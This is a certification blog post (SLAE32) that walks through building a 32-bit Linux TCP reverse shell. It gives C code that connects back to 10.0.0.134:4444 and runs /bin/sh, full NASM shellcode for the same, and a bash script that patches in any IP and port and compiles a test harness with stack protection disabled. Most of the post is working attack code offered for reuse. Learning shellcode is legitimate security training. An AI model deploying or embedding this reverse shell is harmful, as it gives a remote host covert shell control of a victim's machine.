SLAE32 Challenge #2 - Linux Reverse Shell in Assembly

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-644

GitHub resource containing challenge files:

https://github.com/bl305/SLAE32

Local link to source files:

http://itfanatic.com/files/Challenge_02_Final.ZIP


Task: create a TCP reverse shellcode in linux assembly 32 bits intel syntax. Also create a tool to be able to dynamically change the IP and port.

This tutorial was based on the SLAE Challange #1. Please go back and make sure you fully understand the steps taken there in order to understand this second chalenge

There are potentially multiple ways to accomplish the mission. I decided to build the C# code using internet resources. Google is my friend.

In principle the code should do the following:

  • open a socket (stream socket in the Internet domain, TCP port)
  • connect to remote IP via remote port using socket
  • exec whatever is received through the socket

Opening a socket, basically a listener. My first match in google was this:

http://www.linuxhowtos.org/C_C++/socket.htm

I used the code and rewrote it to do a remote connect. We need to change some things: the listener must be the IP address of the remote server. In our case, it will be 10.0.0.134. Port will be 4444.
The bind&listen will be replaced by a connect function. There will be no newsockfd, but the original sockfd socket descriptor will be duplicated into STDIN, STDOUT, STDERR.

 

Now we need to clean it up, as we don't care about error handling and other pretty important stuff important in a normal programming project. The cleaned code look like this below:

	/* A simple server in the internet domain using TCP*/
	#include <stdio.h>
	#include <unistd.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
 
	int main(void)
	{
		 int sockfd, portno; //file descriptor, client file descriptor, port number
		 socklen_t clilen; //socket length for new connections
 
		 struct sockaddr_in serv_addr; //server listen address
 
		 sockfd = socket(AF_INET, SOCK_STREAM, 0); //create TCP socket http://man7.org/linux/man-pages/man7/socket.7.html
		 portno = 4444; //port to listen on
		 serv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
		 serv_addr.sin_addr.s_addr = inet_addr("10.0.0.134"); // connect back IP address, converted to network byte order
		 serv_addr.sin_port = htons(portno); // server port, converted to network string order
		 connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); //connect to socket http://man7.org/linux/man-pages/man2/connect.2.html
 
		 // dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
		 dup2(sockfd, 0);
         dup2(sockfd, 1);
         dup2(sockfd, 2); //http://man7.org/linux/man-pages/man2/dup.2.html
 
		 // execute sh shell
		 execve("/bin/sh", NULL, NULL); //http://man7.org/linux/man-pages/man2/execve.2.html
 
		 close(sockfd); //close socket
 
		 return 0; 
	}

Now compile it and see what happens. Ignore the warning and execute the program:

ITFanatic.com

Now a connection to it will show that the shell has been executed and reverse connected to the destination IP.

ITFanatic.com


Now let's do the same thing in NASM. The steps we need to do:

  • socket-socketcall
  • socket-connect
  • dup2
  • execve

Determine the interrupts using:

less /usr/include/i386-linux-gnu/asm/unistd_32.h

  • socket-socketcall = 102 = 0x66
  • socket-bind
  • socket-listen
  • socket-accept
  • dup2 = 63 = 0x3F
  • execve = 11 = 0xB

List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */

Ok, now using the “man” pages we can determine the specifics:
man socket, man connect

SEE ALSO
accept(2), bind(2), connect(2), fcntl(2), getpeername(2),  getsockname(2),  getsockopt(2),  ioctl(2),  listen(2),  read(2),  recv(2), select(2), send(2), shutdown(2), socketpair(2), write(2), getprotoent(3), ip(7), socket(7), tcp(7), udp(7), unix(7)
man socketcall:

NAME
       socketcall - socket system calls
SYNOPSIS
       int socketcall(int call, unsigned long *args);
DESCRIPTION
       socketcall()  is  a  common  kernel  entry point for the socket system calls.  call determines which socket function to invoke.  Args points to a block containing the actual arguments, which are passed through to the appropriate call.
       User programs should call the appropriate functions by their usual names.  Only standard library implementors and kernel hackers need to know about socketcall().

man socket
NAME
       socket - create an endpoint for communication
SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>
       int socket(int domain, int type, int protocol);
DESCRIPTION
       socket() creates an endpoint for communication and returns a descriptor.
       The  domain  argument specifies a communication domain; this selects the protocol family which will be used for communication.  These families are defined in <sys/socket.h>.  The currently understood formats include:
       Name                Purpose                          Man page
       AF_UNIX, AF_LOCAL   Local communication              unix(7)
       AF_INET             IPv4 Internet protocols          ip(7)
       AF_INET6            IPv6 Internet protocols          ipv6(7)
       AF_IPX              IPX - Novell protocols
       AF_NETLINK          Kernel user interface device     netlink(7)
       AF_X25              ITU-T X.25 / ISO-8208 protocol   x25(7)
       AF_AX25             Amateur radio AX.25 protocol
       AF_ATMPVC           Access to raw ATM PVCs
       AF_APPLETALK        Appletalk                        ddp(7)
       AF_PACKET           Low level packet interface       packet(7)
       The socket has the indicated type, which specifies the communication semantics.  Currently defined types are:
       SOCK_STREAM     Provides sequenced, reliable, two-way, connection-based byte streams.  An out-of-band data transmission mechanism may be supported.
       SOCK_DGRAM      Supports datagrams (connectionless, unreliable messages of a fixed maximum length).
       SOCK_SEQPACKET  Provides  a  sequenced,  reliable,  two-way  connection-based  data  transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each input system call.

SOCK_RAW        Provides raw network protocol access.
       SOCK_RDM        Provides a reliable datagram layer that does not guarantee ordering.
       SOCK_PACKET     Obsolete and should not be used in new programs; see packet(7).
       Some socket types may not be implemented by all protocol families; for example, SOCK_SEQPACKET is not implemented for AF_INET.

       Since Linux 2.6.27, the type argument serves a second purpose: in addition to specifying a socket type, it may include the bitwise OR of any of the following values, to modify the behavior of socket():
       SOCK_NONBLOCK   Set  the O_NONBLOCK file status flag on the new open file description.  Using this flag saves extra calls to fcntl(2) to achieve the same result.
       SOCK_CLOEXEC    Set the close-on-exec (FD_CLOEXEC) flag on the new file descriptor.  See the description of  the  O_CLOEXEC  flag  in open(2) for reasons why this may be useful.

       The protocol specifies a particular protocol to be used with the socket.  Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.  However, it  is  possible  that  many protocols may exist, in which case a particular protocol must be specified in this manner.  The protocol number to use is specific to the “communication domain” in which communication is to take place; see protocols(5).  See getprotoent(3) on how to map protocol name strings to protocol numbers.

More details on protocol numbers:
less /usr/include/linux/in.h

/* Standard well-defined IP protocols.  */
enum {
  IPPROTO_IP = 0,               /* Dummy protocol for TCP               */
  IPPROTO_ICMP = 1,             /* Internet Control Message Protocol    */
  IPPROTO_IGMP = 2,             /* Internet Group Management Protocol   */
  IPPROTO_IPIP = 4,             /* IPIP tunnels (older KA9Q tunnels use 94) */
  IPPROTO_TCP = 6,              /* Transmission Control Protocol        */
  IPPROTO_EGP = 8,              /* Exterior Gateway Protocol            */
  IPPROTO_PUP = 12,             /* PUP protocol                         */
  IPPROTO_UDP = 17,             /* User Datagram Protocol               */
  IPPROTO_IDP = 22,             /* XNS IDP protocol                     */
  IPPROTO_DCCP = 33,            /* Datagram Congestion Control Protocol */
  IPPROTO_RSVP = 46,            /* RSVP protocol                        */
  IPPROTO_GRE = 47,             /* Cisco GRE tunnels (rfc 1701,1702)    */
  IPPROTO_IPV6   = 41,          /* IPv6-in-IPv4 tunnelling              */

TCP would be #6


Step #1: Socket open

So, there will be a socket call with the following parameters:
domain: AF_INET
type: SOCK_STREAM
protocol: 0

Now, we need to push all these stuff on the stack in reverse order, so protcol, type, domain. Ok, but how do I know what are the values for AF_INET and SOCK_STREAM?

Look into the socket.h in your include directory. In my case it was here:
less /usr/include/i386-linux-gnu/bits/socket_type.h
SOCK_STREAM = 1

less /usr/include/i386-linux-gnu/bits/socket.h
#define PF_INET         2       /* IP protocol family.  */
#define AF_INET         PF_INET

So we send this: proto, type, domain: 0,1,2

Assembly code:

;sockfd= socket(AF_INET, SOCK_STREAM, 0)
xor eax,eax ;clean eax
mov al,0x66 ;set syscall number to socket
xor ebx,ebx ;zero out ebx
push ebx ;stack protocol=0, default (could be 6 for TCP)
inc ebx ;prepare ebx=1 for stack
push ebx ;stack type=1, sock_stream
push byte 0x2 ;stack domain, af_inet
mov ecx,esp ;store a pointer to the parameters for dup2
int 0x80 ;call the syscall, it returns the socket file descriptor to EAX
 
mov esi, eax ;store sockfd into ESI

Step #2: Socket connect
So in this case we will need to call socket with "connect" subcall. List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */

man connect
SYNOPSIS
#include /* See NOTES */
#include

int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);

DESCRIPTION
The connect() system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. The addrlen argument specifies the size of addr. The format of the address in addr is determined by the address space of the socket sockfd; see socket(2) for further details.

If the socket sockfd is of type SOCK_DGRAM then addr is the address to which datagrams are sent by default, and the only address from which datagrams are received. If the socket is of type SOCK_STREAM or SOCK_SEQPACKET, this call attempts to make a connection
to the socket that is bound to the address specified by addr.

Generally, connection-based protocol sockets may successfully connect() only once; connectionless protocol sockets may use connect() multiple times to change their association. Connectionless sockets may dissolve the association by connecting to an address with
the sa_family member of sockaddr set to AF_UNSPEC (supported on Linux since kernel 2.2).

So let's set the parameters:
connect ( sockfd, struct sockaddr *addr, socklen_t *addrlen, flags);
In plain text:
connect (sockfd, sockaddress, addrlen)
sockaddr requires special attention. Sockfd will be the pointer we stored as the result of the last syscall.

To see the contents of the structure, we need to look into:
less /usr/include/linux/in.h

/* Structure describing an Internet (IP) socket address. */
#define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */

To calculate the IP address:
The value of Address family is the target IP address: 10.0.0.134
In binary, this will be:
00001010000000000000000010000110
Which is in hex:
0a 00 00 86
Which is in Little-endian:
86 00 00 0a

Port number is obvious, it's a number in hex little-endian: 5C11 (port 4444)
Struct in_addr will be AF_INET=0x2

So, the structure to push will be:
Sockaddr structure saved reference in ECX:
0x8600000a (sin_addr), 0x115C (sin_port 4444), 0x2 (sin_family)

And finally we need 3 in EBX for the “connect” subcall.

Assembly:

;connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
mov al,0x66 ;set syscall number to socket
pop ebx ;take the 2 from the stack and use as AF_INET
 
;prepare struct
xor edx,edx ;zero out edx
push 0x0101017f ;set the sin_addr=127.0.0.1
push word 0x5C11 ;set sin_port=4444
push word bx ;sin_family AF_INET	=0x2
inc ebx ;we need 3 in ebx for "connect"
mov ecx, esp ;save pointer
;prepare struct end
 
push 0x10 ;addrlen=16 structure length
push ecx ; struck sockaddr pointer
push esi ; this is a pointer to the file descriptor sockfd
mov ecx, esp ;pointer to connect() args
int 0x80 ; exec sys bind 

Step #3: Redirect STDIN, STDOUT, STDERR
Redirect STDIN (0), STDOUT(1), STDERR(2)

We will use DUP2.
SYNOPSIS
       #include <unistd.h>

       int dup(int oldfd);
       int dup2(int oldfd, int newfd);

       #define _GNU_SOURCE             /* See feature_test_macros(7) */
       #include <fcntl.h>              /* Obtain O_* constant definitions */
       #include <unistd.h>

       int dup3(int oldfd, int newfd, int flags);

DESCRIPTION
       These system calls create a copy of the file descriptor oldfd.
       dup() uses the lowest-numbered unused descriptor for the new descriptor.
       dup2() makes newfd be the copy of oldfd, closing newfd first if necessary, but note the following:
       *  If oldfd is not a valid file descriptor, then the call fails, and newfd is not closed.
*  If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2() does nothing, and returns newfd.
       After  a successful return from one of these system calls, the old and new file descriptors may be used interchangeably.  They refer to the same open file description (see open(2)) and thus share file offset and file status flags; for example, if the file offset is modified by using lseek(2) on one of the descriptors, the offset is also changed for the other.
       The  two descriptors do not share file descriptor flags (the close-on-exec flag).  The close-on-exec flag (FD_CLOEXEC; see fcntl(2)) for the duplicate descriptor is off.

Ok, get the syscall for DUP2:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
it is 63=0x3F

We need to do:
dup2(oldfd,newfd)
oldfd will be the EBX socketfd, new will be 0 (stdin),1(stdout),2(stderr).
I put this in a loop ().
cl will be the counter. It has to be zeroed out and set to 2.
we need 0 in ecx, so we zero it out
xor ecx,ecx

Set the cl to 2:
mov cl,0x2 ; initiate counter
call result will be returned to EAX, which is currently busy with storing the socketfd. Let's store socketfd in EBX for now using XCHG. EBX used to store 0x5 for the Accept call, we don't need that any more.
xchg ebx, eax

define the dup2 with the aruments in the loop (EBX won't change, it is socketfd):
myloop:
 mov al,0x3F ;dup2 syscall
 int 0x80 ;syscall dup2
 dec ecx ; decrement counter
 jns loop ; jmp to loop as long as SF is not set to 1

Assembly:

;redirect
xchg ebx, esi ;store the socketfd in ebx, and 0x3 in esi. EBX will be the oldfd in DUP2
xor ecx,ecx ;zero out ecx
mov cl, 0x2 ; set counter to 2, this will be newfd in DUP2
;loop to call dup2 3 times and duplicate file descriptor for STDIN, STDOUT and STDERR
myloop:
 mov al,0x3F ;dup2 syscall
 int 0x80 ;syscall dup2
 dec ecx ; decrement counter
 jns myloop ; jmp to loop as long as SF is not set to 1 

Step #4: Execute bash
execute shell vie execve
man execve
SYNOPSIS
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);

DESCRIPTION
       execve() executes the program pointed to by filename.  filename must be either a binary executable, or a script starting with a line of the form:
           #! interpreter [optional-arg]
       For details of the latter case, see "Interpreter scripts" below.
       argv is an array of argument strings passed to the new program.  By convention, the first of these strings should contain the  file name  associated  with the file being executed.  envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program.  Both argv and envp must be terminated by a NULL pointer.  The argument  vector  and  environment
       can be accessed by the called program's main function, when it is defined as:
           int main(int argc, char *argv[], char *envp[])
       execve()  does  not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.

So we need this:
execve(*filename, *const argv[],*const envp[]);

syscall for execve is 11=0x0b:
less /usr/include/i386-linux-gnu/asm/unistd_32.h

As the system is in little-endian, we need to push the command in reverse order ending with 0x0.
Assembly:

;execve
xor eax,eax
push eax ;push the ending 0x0
push 0x68732f2f ; "hs//" the trick is "//"="/" tom make it four bytes
push 0x6e69622f ; "nib/"
mov ebx, esp ;save the pointer to filename
 
push eax ; set argument t 0x0
mov ecx, esp ;save the pointer to argument envp
 
push eax ; set argument t 0x0
mov edx, esp ;save the pointer to argument ptr
 
mov al,0xb ;call execve
int 0x80 ; execute syscall 

 


The full sourcecode:

global _start
 
 
section .text
 
_start:
 
;sockfd= socket(AF_INET, SOCK_STREAM, 0)
xor eax,eax ;clean eax
mov al,0x66 ;set syscall number to socket
xor ebx,ebx ;zero out ebx
push ebx ;stack protocol=0, default (could be 6 for TCP)
inc ebx ;prepare ebx=1 for stack
push ebx ;stack type=1, sock_stream
push byte 0x2 ;stack domain, af_inet
mov ecx,esp ;store a pointer to the parameters for dup2
int 0x80 ;call the syscall, it returns the socket file descriptor to EAX
 
mov esi, eax ;store sockfd into ESI
 
;connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
mov al,0x66 ;set syscall number to socket
pop ebx ;take the 2 from the stack and use as AF_INET
 
;prepare struct
xor edx,edx ;zero out edx
push 0x0101017f ;set the sin_addr=127.0.0.1
push word 0x5C11 ;set sin_port=4444
push word bx ;sin_family AF_INET	=0x2
inc ebx ;we need 3 in ebx for "connect"
mov ecx, esp ;save pointer
;prepare struct end
 
push 0x10 ;addrlen=16 structure length
push ecx ; struck sockaddr pointer
push esi ; this is a pointer to the file descriptor sockfd
mov ecx, esp ;pointer to connect() args
int 0x80 ; exec sys bind
 
;redirect
xchg ebx, esi ;store the socketfd in ebx, and 0x3 in esi. EBX will be the oldfd in DUP2
;pop ecx ; pull the 0x00000000 from the stack
xor ecx,ecx ;zero out ecx
mov cl, 0x2 ; set counter to 2, this will be newfd in DUP2
;loop to call dup2 3 times and duplicate file descriptor for STDIN, STDOUT and STDERR
myloop:
 mov al,0x3F ;dup2 syscall
 int 0x80 ;syscall dup2
 dec ecx ; decrement counter
 jns myloop ; jmp to loop as long as SF is not set to 1
 
 
;execve
xor eax,eax
push eax ;push the ending 0x0
push 0x68732f2f ; "hs//" the trick is "//"="/" tom make it four bytes
push 0x6e69622f ; "nib/"
mov ebx, esp ;save the pointer to filename
 
push eax ; set argument t 0x0
mov ecx, esp ;save the pointer to argument envp
 
push eax ; set argument t 0x0
mov edx, esp ;save the pointer to argument ptr
 
mov al,0xb ;call execve
int 0x80 ; execute syscall 

 


The script which generates assembly code with custom port and compiles the program:

#!/bin/bash
 
echo '[+] Changing IP to '$2' ...'
newip=`perl ./ip_calc.pl $2`
sed s/0101017f/$newip/ <$1.nasm >$1.nasm_tmp1
 
echo '[+] Changing port to '$3' ...'
port=`printf %04X $3 |grep -o ..|tac|tr -d '\n'`
sed s/5C11/$port/ <$1.nasm_tmp1 >$1.nasm_tmp2
 
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm_tmp2
 
echo '[+] Linking ...'
ld -o $1 $1.o
 
echo '[+] Objdump ...'
mycode=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'`
 
echo '[+] Assemble shellcode C ...'
 
echo "#include<stdio.h>" >shellcode.c
echo "#include<string.h>" >>shellcode.c
echo "unsigned char code[] = \\" >>shellcode.c
echo $mycode";" >>shellcode.c
echo "main()" >>shellcode.c
echo "{" >>shellcode.c
echo "printf(\"Shellcode Length:  %d\n\", strlen(code));" >>shellcode.c
echo "  int (*ret)() = (int(*)())code;" >>shellcode.c
echo "  ret();" >>shellcode.c
echo "}" >>shellcode.c
 
echo '[+] Compile shellcode.c'
 
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
 
echo '[+] Done!' 

 

The shellcode in action:

ITFanatic.com